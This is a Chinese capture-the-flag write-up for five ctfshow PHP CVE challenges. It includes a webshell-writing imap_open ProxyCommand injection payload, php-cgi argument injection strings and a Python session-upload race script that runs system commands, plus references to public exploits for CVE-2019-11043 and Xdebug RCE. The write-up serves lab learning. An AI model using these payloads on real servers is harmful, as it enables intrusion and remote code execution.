CTFSHOW-phpCVE Writeup

写在前面:

这里来记录一下ctfshow|全部phpCVE(web311,web312,web313,web314,web315)的过程

小水一下

WEB311

首先打开题目进行抓包:

CTFSHOW-phpCVE Writeup_第1张图片

可以看到有用的信息:

  • Server:niginx/1.18.0(ubuntu)
  • X-Powered-By:PHP/7.1.33dev

我们直接去查找相关的CVE漏洞

找到的大多数就是CVE-2019-11043

CVE-2019-11043

CVE-2019-11043漏洞介绍

纰漏:Addressing the PHP-FPM Vulnerability (CVE-2019-11043) with NGINX – NGINX

漏洞原因:

该漏洞位于PHP-FPM模块的env_path_info函数,在特定的nginx + php-fpm配置中,web用户就可能会进行代码执行。该漏洞需要在nginx.conf中进行特定配置才能触发。使用%0a(换行符)来破坏正则,从而使得PATH_INFO为空

location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
   

漏洞范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0-7.3 版本

漏洞复现:

首先以CTFSHOW平台web311题目作为环境

利用POC(提前有GO环境)

neex/phuip-fpizdam: Exploit for CVE-2019-11043 (github.com)

get github.com/neex/phuip-fpizdam

然后

cd phuip-fpizdamgo get -v && go build

 执行:

go run . url/index.php

CTFSHOW-phpCVE Writeup_第2张图片

返回比较慢 正常情况应该是

CTFSHOW-phpCVE Writeup_第3张图片

然后就可以执行回显flag啦

WEB312

首先看题目打开页面

CTFSHOW-phpCVE Writeup_第4张图片

常规来说 第一步先看标头信息

CTFSHOW-phpCVE Writeup_第5张图片

和上一题打法相同 先去查找PHP版本的CVE

X-Powered-By显示php版本为5.6.38

经过查找 确认漏洞为CVE-2018-19935

CTFSHOW-phpCVE Writeup_第6张图片

CVE-2018-19935

漏洞详细参考:

NVD – CVE-2018-19518 (nist.gov)

简介:

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。         

首先漏洞成因可自己搜索 不过这里需要了解

什么是IMAP:

邮件访问协议!IMAP协议解析 – 知乎 (zhihu.com)

漏洞利用

参考:如何利用imap绕过PHP中的disable_functions(CVE-2018-19518)|NOSEC安全讯息平台 – 白帽汇安全研究院

CVE-2018-19518 PHP imap_open函数任意命令执行漏洞复现 – biiNG# – 博客园 (cnblogs.com)

漏洞复现

参考利用可知ssh命令中可以通过设置-oProxyCommand=来调用第三方命令 攻击者通过注入注入这个参数 最终将导致命令执行漏洞

这种执行比较简单 这题目也有好几种思路 总之就是构建执行语句 发送请求 服务器就会响应

这里我们用写入shell的方法

通过参考给出的POC

hostname=x+-oProxyCommand%3decho%09通过base64加密过的执行语句|base64%09-d|sh}

 我们将一句话木马


经过base64编码得到

PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==

使用echo执行解码并且写入shell语句

echo "PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==" | base64 -d >/var/www/html/s7.php

因为我们要通过头部传输 所以应该将上面的代码先结果base64编码在转换为url编码

hostname=x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiYUdWc2JHOWRLVHMvUGc9PSIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvczcucGhw|base64%09-d|sh}

通过burpsuite写入

CTFSHOW-phpCVE Writeup_第7张图片

用中国蚂蚁剑链接

注意:这里的编码解码应该设置为bese64

 

CTFSHOW-phpCVE Writeup_第8张图片

拿到flag

CTFSHOW-phpCVE Writeup_第9张图片

WEB313

首先 还是常规思路 找到PHP版本 去搜索对应的都有那些漏洞

CTFSHOW-phpCVE Writeup_第10张图片

PHP的版本为5.4.1 做这道题目的时候 前期不是那么顺利 因为自己在找的过程重发现这一版本纯在很多漏洞,而且有一些难以验证 所以浪费了一些时间 不过在这个过程中也学到了许多 其中还包含了相对常见的两个漏洞

CVE-2015-2348

CVE-2019-11043

当时确实没有想到那么早的

CVE-2012-1823

详情可以参考P神的PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌 (leavesongs.com)

利用也可以参考CVE-2012-1823漏洞复现_muddlelife的博客-CSDN博客

漏洞利用

url/index.php?-s如果可以爆出来源码 说明漏洞纯在

CTFSHOW-phpCVE Writeup_第11张图片

那么,可控命令行参数,能做些什么事。

发现cgi模式下有如下一些参数可用:

-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h-? 显示帮助

根据

CTFSHOW-phpCVE Writeup_第12张图片

当然也有很多其他的办法 我尝试了很多都不行 看了hint 通过构造cgi中参数达到命令执行的目的 在这题目我使用MSF进行执行 但是却返回了错误

那就用auto_prepend_file来制造任意文件包含漏洞。

-d allow_url_include=on -d auto_prepend_file=php://input

然后就可以远程代码执行了

这里又遇到一个问题 我不知道flag在哪里 无法反弹shell 应该是没有权限 我也不想在这里浪费太多时间

开始翻翻看

CTFSHOW-phpCVE Writeup_第13张图片

如果不出意外 flag就在somewhere文件中(中间靶场掉了一次 重新打开了)

CTFSHOW-phpCVE Writeup_第14张图片

WEB314

打开这道题目 显示

因为过滤了: 所以不能用伪协议了 不过这道题目方法还是蛮多的

可以使用PHP_SESSION_UPLOAD_PROGRESS文件包含,去执行命令

因为使用的是Nginx 服务器 所以默认日志文件路径为/var/log/nginx/access.log

然后写了好几次shell 不清楚为什么没写入

CTFSHOW-phpCVE Writeup_第15张图片

查看phpinfo

CTFSHOW-phpCVE Writeup_第16张图片

发现session上传文件

利用一下四代机您发多少师傅写的脚本

# coding=utf-8
import requests
import io
import threading
url = 'url/'
def write(session):#
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS':''
    }#传个一句话木马
    while event.isSet():
        f = io.BytesIO(b'a'*1024*50)
        session.post(url,cookies={'PHPSESSID':'flag'},data=data,files={'file':('harker.txt',f)})
 
def read(session):
    data = {'harker':'system("ls");'}#利用一句话木马
    while event.isSet():
        response = session.post(url+'?f=/tmp/sess_flag',data=data)#这里十post请求,就是这里我搞错了,弄的我反复检查!
        if 'harker.txt' in response.text:#判断
            print(response.text)
            event.clear()#终止进程
            break
        else:
            pass
 
if __name__=='__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(10):#开启十条进程
            threading.Thread(target=write,args=(session,)).start()
        for i in range(10):
            threading.Thread(target=read,args=(session,)).start()

成功写入

WEB315

打开前 看到hint

debug开启,端口9000

说明这就是个与debug相关的漏洞

搜索一下XDebug 远程调试漏洞

XDebug 远程调试漏洞

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并且设置

remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

相关资料参考P神

vulhub/php/xdebug-rce at master · vulhub/vulhub (github.com)

利用给出的脚本 在公网服务器上执行就可以了

vulhub/exp.py at master · vulhub/vulhub · GitHub

phpCVE全部结束

总结

在实战中或者在做相关的题目的过程中 要灵活的运用搜索引擎

注意PHP版本 查看相关系统版本 传输头部信息 以及漏洞的产生组件,相关函数,配置等。

你可能感兴趣的:(CTF,WEB安全,web安全,安全,安全威胁分析,经验分享)